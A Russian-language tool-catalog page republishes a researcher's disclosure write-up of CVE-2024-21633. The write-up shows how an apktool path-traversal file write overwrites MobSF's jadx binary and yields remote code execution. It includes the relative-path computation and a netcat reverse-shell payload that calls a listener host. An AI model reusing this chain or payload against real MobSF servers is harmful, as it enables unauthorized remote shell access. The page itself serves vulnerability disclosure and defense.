Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21633 — MobSF: удаленное выполнение кода (через CVE-2024-21633) | Kitploit
Инструменты/GitHubGitHub/0x33c0unt/cve-2024-21633
Безопасность AndroidАнализ уязвимостейЭксплуатацияОбратная инженерияЭксплуатация веб-приложенийМобильная безопасностьРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHub0x33c0unt/cve-2024-21633

CVE-2024-21633

MobSF: удаленное выполнение кода (через CVE-2024-21633)

Репозиторий
795112 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MobSF Remote code execution (via CVE-2024-21633)

Я нашел произвольную запись файла в apktool и сообщил об этом через github security advisory. Я знал, что многие проекты полагаются на apktool или зависят от него, но после публикации уведомления и исправления немногие, похоже, заметили это или обратили на это внимание. Я решил проверить его влияние и возможность эксплуатации в некоторых крупных зависимых проектах, и начал с MobSF.

Уязвимость позволяет записать что угодно по относительному пути к "${decode target path}/res/", самый большой эффект — получение RCE. Но есть загвоздка: записанный файл не является исполняемым.

У меня было две идеи перед погружением:

  • Мы можем попытаться перезаписать файлы инициализации оболочки, такие как .bashrc/.zshrc и т.д., но это требует либо чтобы "decode target path" находился в домашней папке пользователя, чтобы мы могли указать на него как "../../.bashrc", либо нам нужно знать (или подобрать перебором) имя пользователя, чтобы получить цель типа "../../../../username/.bashrc". Приятная особенность здесь в том, что приложение может иметь 0xFFFF (65536) различных имен сырых ресурсов, потому что идентификаторы ресурсов выглядят как 0x7F0B1234 (1 байт идентификатора пакета, обычно 0x7F, 1 байт идентификатора типа (например, raw, drawable), 2 байта идентификатора ресурса). В нашем случае, если предположить, что MobSF работает в docker, мы уже знаем имя пользователя — MobSF. Однако после перезаписи файла нам нужно дождаться запуска оболочки, что не гарантировано.
  • Создать cronjob для запуска вредоносного скрипта, требует, чтобы приложение имело права root.

Но что, если нам просто повезет, и у нас есть приложение, которое меняет права файла на исполняемый? И еще больше повезет, если оно потом запустит его? И все это должно произойти после выполнения apktool. Именно такая ситуация с MobSF. MobSF использует jadx как часть своего статического анализа, он вызывает jadx через подпроцесс, но непосредственно перед этим он меняет права доступа jadx на исполняемый.

Выдержка из лога, где вызываются apktool, chmod и jadx соответственно:

root@kitploit:~
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

Мы будем использовать jadx в качестве цели, но нам нужен относительный путь jadx к папке res. Мы можем получить его, используя функцию os.path.relpath() в Python.

Наша базовая папка ресурсов: "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

Мы хотим перезаписать бинарник jadx по пути: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

root@kitploit:~
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

Наш payload будет в res/raw/jadx

root@kitploit:~
#!/bin/bash
nc host.docker.internal 9001 -e sh

Имя ресурса будет "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" resources Загрузите apk и ждите выполнения jadx, мы получим шелл на нашем nc слушателе. upload Бинго! reverse-shell

Затем я сообщил об этом команде MobSF по электронной почте, получил быстрый ответ, и они исправили это, обновив версию apktool, но поведение, делающее jadx исполняемым и запускающее его после, всё ещё сохраняется. Я бы предпочёл, чтобы права были установлены заранее, а директория была недоступна для записи.

Подписывайтесь! @0x33c0unt

Скачать инструмент